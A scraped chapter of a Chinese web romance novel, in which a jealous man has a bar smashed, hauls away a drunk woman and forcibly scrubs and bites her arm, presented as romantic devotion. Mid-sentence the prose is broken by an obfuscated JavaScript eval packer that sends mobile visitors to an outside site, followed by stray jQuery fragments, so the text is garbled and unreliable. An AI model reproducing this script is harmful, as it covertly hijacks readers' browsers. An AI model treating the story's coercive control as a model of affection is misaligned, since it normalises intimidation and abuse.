大半瓶酒浇灌而下,淋了安城胤满头、满脸、满肩,甚至还冲进了他的眼睛里。
剧烈的刺痛,让他的眼睛瞬间红胀,眼角溢出透明的不知是酒还是泪的液体,但他连眼皮都没抖一下。
从小到大,爷爷非人般的管束,让他很能忍痛。
但他知道,他能忍住的仅仅是肉.体上的痛,忍不住心痛。
他夺过酒瓶,狠狠往地上一砸,“褚之南,你背着我,都在干些什么?”
“嘭”的一声,酒瓶在场上炸开,玻璃碎片四处乱飞,所幸没划伤什么人。
褚之南被炸裂声吓得浑身一软,差点从高脚凳上摔下去,一直在她身后伴奏的林亦清冲上前扶住了她。
林亦清似乎并不认识安城胤,误以为他是来闹事的,他捏着褚之南的手臂,将她护在身后,并朝安城胤吼道:“你是谁啊?你怎么进来的?要干什么?”
安城胤脸颊上的肌肉抖了抖,看见林亦清触碰褚之南时,他嗔怒到几乎目眦尽裂,死死掐着林亦清的手腕,“松开她!”
安城胤的力道很大,林亦清疼得面色唰白,手骨都像要被硬生生捏碎。
没坚持两下,他就惨叫一声,张开了手指。
安城胤先是推了他一把,然而长臂一捞,直接把禇之南抢到怀中。
褚之南喝了太多酒,靠着安城胤的力道撑着才勉强站稳。
猛然抬头看见安城胤时,她以为是自己眼花了。
她指着在眼前晃来晃去的那张脸,憨笑着:“你……你好像安城胤啊……不、不过……他没你这么凶……”
安城胤托着她的半边脸,大拇指在她酡红的颧骨间蹭来蹭去,“学坏了?来这种地方?”
他的眉梢还挂着几滴清酒,混着酒气的眸子逼射出彻骨寒意,褚之南被这凛冽的目光冻得清醒了一瞬,不可思议地喊出了他的名字:“安城胤?”
安城胤咬紧牙,挤出一个骇人的笑:“对,是我。”
褚之南被他抓着不放,逃也逃不开。
她迅速环顾四周,发现毋同已经醉得不省人事,瘫在桌上睡着了,店内霎时涌进一大波人,把少有的几个清醒的人控制住了,包括林亦清。
安城胤掰回她的脸,他已被气得面目扭曲,怒火正旺,一个劲地质问褚之南,“告诉我,你怎么会在这里?谁带你来的?”
褚之南被他逼问得恼了,“我自己来的。”
“你撒谎!又骗我!”安城胤根本不信她说的,他盯着她的眼睛,愤恨道:“我早就说过,毋同会把你带坏的!”
褚之南的声音盖过安城胤,“没有!没有谁带坏我!”
“这是她的地盘,对不对?”
褚之南的表情明显慌了下,好像预料到安城胤接下来会做什么一样。
果然,他毫不留情地挥了下手,发号施令:“砸。”
他带来的人动作很快,吧台上的瓶瓶罐罐应声砸落。
“别啊……别……”褚之南拽着他,“她好不容易经营起来的地方,不要再毁了,安城胤,住手吧……”
安城胤自是听不进她说的,他搂着她的腰,要强行把她抱走。
可褚之南又哭又闹,借着酒劲撒泼,张牙舞爪的,不甚抓伤了他的脖子。
安城胤摸了摸脖子上的血渍,冷哼一声,“不肯走?”
相互僵持之际,褚之南和他谈判:“我可以乖乖跟你走,但你要让这些人离开!”
安城胤很爽快,“行,都撤了。”反正他只要褚之南离开这里。
他说话算数,deep酒吧免于一场风波。
只是褚之南,却没那么轻易逃过。
*
送他们回文昌苑的车还没完全停稳,安城胤就把褚之南从车上拽了下来。
好在今夜月黑风高,阵阵秋风饱含肃杀之气,深夜并没有什么住户外出闲逛,否则一定会有人觉得禇之南是被人强抢来的。
安城胤一路拎着她,甩上家门后,就把她抱到了独立浴室的洗手台上。
她的上半身被摁在洗手台上,整个人折成了九十度。
“……”她的脸抵在洗手台边缘的台面上,说不上有多难受,但是这个姿势过于怪异,尤其是安城胤还站在她身后。
他捏着她的手臂不松,褚之南完全掐不准他要干什么。
直到他打开水龙头开关,不停冲洗着她的手臂。
“你……”
“乖,别说话,洗一洗就好了。”安城胤把水流调到最大,一直重复着这句话。
他的双手捏在她手臂上,被林亦清抓过的地方,来回揉搓。
水龙头上的水四处飞溅,褚之南半边头发和衣服很快就湿了,贴在身上黏黏答答的,再加上安城胤这奇怪的动作,让她很不舒服。
可挺了两次腰,都被安城胤压了下去。
她紧皱着眉,挤着眼睛往左后方看,不慎被安城胤吓了一跳。
他的表情平静到有些诡异,蓝宝石一样的眼睛中了邪似的,空茫茫嵌在眼窝里,衬着一张深邃立体的脸十分僵硬。
水流哗哗作响,他的动作又急又快,虽然并没有多痛,但是褚之南感觉自己的手臂似乎要被他擦出火星子、揉秃噜皮了……
她叫嚷了几声,但安城胤并没停下来,依旧像念经一样重复着嘴里的那句话。
水涨得太快,渐渐溢出洗手台,流到地面上。
褚之南仰起浸湿的脸,边咳嗽边呼喊道:“安、安城胤,好呛!咳咳!”
安城胤的动作一滞,目光终于从她手臂上移开,他这才发现地板上蓄起的水已经没过鞋底。
他慌忙将褚之南捞起,关上了水龙头。
褚之南的脸憋得微红,猛地咳嗽了两声,脸上的水还没甩干净,身后那人便抬着她的手臂,直接啃了上去。
他用牙尖轻轻啃噬,每触及一寸肌肤都要吸咬一下,明明害怕弄伤她,不敢太用力,但又想尽力留下只属于他的印记。
手臂湿湿麻麻的,让褚之南想起,好几个夜里,他也曾这样小心翼翼地吻她。
只是从前他习惯遮掩,现在却做的明目张胆、毫无顾忌。
“这都是我的……不能让别人碰……”安城胤的唇在发抖,低哑的嗓音混杂着近乎病态的痴狂。
褚之南才反应过来,原来他是介意林亦清碰她,可林亦清不过只是轻轻扶了她一下吧?
她实在不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701796|135896||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
理解,“安城胤,你至于吗?”
安城胤痴痴的双眸倏然变得阴狠乖戾,他咬牙切齿道:“当然了!那些脏东西,他们也配碰你?”
禇之南轻掀眼皮,微微笑了,“那我要是和别人有什么更亲密的动作,你是不是得疯?”
虽然安城胤站在她身后,但并没有错过她脸上的表情。镜中那张势在必得、无所畏惧的笑颜,深深刺痛着他的眼。
“你说呢?”他把她的身子掰过来,脚尖抵着她往后退。
褚之南没有什么退处,后腰很快就撞到洗手台上。
安城胤双手撑在她两侧,双目赤红阴鸷,一字一句逼问她:“这些天没看着你,还学会喝酒了?背着我去酒吧又是什么意思?”
他比禇之南高上大半个头,站在她面前压迫感十足,然而禇之南的气势却一点也不输他,“你凭什么质问我?你都背着我去过多少次了?”
“我想去就去了呗,还用跟你说不成?”
“你能去的地方,我去不得?”
安城胤眼底的情绪剧烈一颤,完全没有料到她会这么逆反。
“我去那种脏地方你就要去吗?”他扯出一个惨淡的笑容,终于明白了,褚之南还是介意他的身份,“你是在和我较劲?”
褚之南抬起一双漆黑的眼眸,笑得单纯无辜,“算是吧。”
话音刚落,他猛地掐起她的脸,语气里含着愤恨和痛苦,“和我较劲需要这么作践自己吗?在那卖唱?这是你能做的事情?”
褚之南被他的话刺激到了,眸中泄露出一丝戾气,和他吵了起来,“什么叫做卖唱?安城胤,话别说得太难听!!!”
“我本本分分唱歌,做错什么事了吗?”
“能不能尊重一下人?”
她对着他的耳朵大吼大叫,安城胤紧紧闭上眼,强迫自己冷静下来。
几个深呼吸后,他把狂躁的褚之南揉进怀里,试图安抚她:“这些天你骗我,我可以不当一回事,以后你想怎么玩,我都可以陪你,唯一的要求就是不能再去那种地方唱歌了!”
相较于安城胤的主动退步,褚之南的态度却显得异常强硬,“我为什么要听你的?”
他被她气得脸红脖子粗,十分抓狂和恼火,“说的好像我在害你一样?不让你去那种地方是在保护你,你懂不懂?那种地方鱼龙混杂,你这种小白兔混进去只有被人吃干抹净的份!”
“我会保护好我自己的!”
“呵呵,有意思……”安城胤的胸腔震了震,喉间迸发出两声怪笑,“你有几斤几两我不清楚吗?从小都是被我护大的,现在想要独立行走,是不是晚了点?”
这话直戳褚之南心中的痛处,她眼眶瞬间泛红,不想再继续吵下去了,“反正,你不要再干涉我的生活了!”
意识到自己话说得有些过头了,安城胤愣了一秒,反应过来想要道歉时,褚之南已经从他怀里挣开了。
他眸光晦暗,面无表情地看了一眼镜子,发现自己双眸红肿,被酒淋湿的头发已经干结发硬,互相交叉打结,而脖子上的划痕,原本已经凝血,现在又被气得崩裂,往外渗着红丝。
他再一次,在褚之南面前,弄得如此狼狈。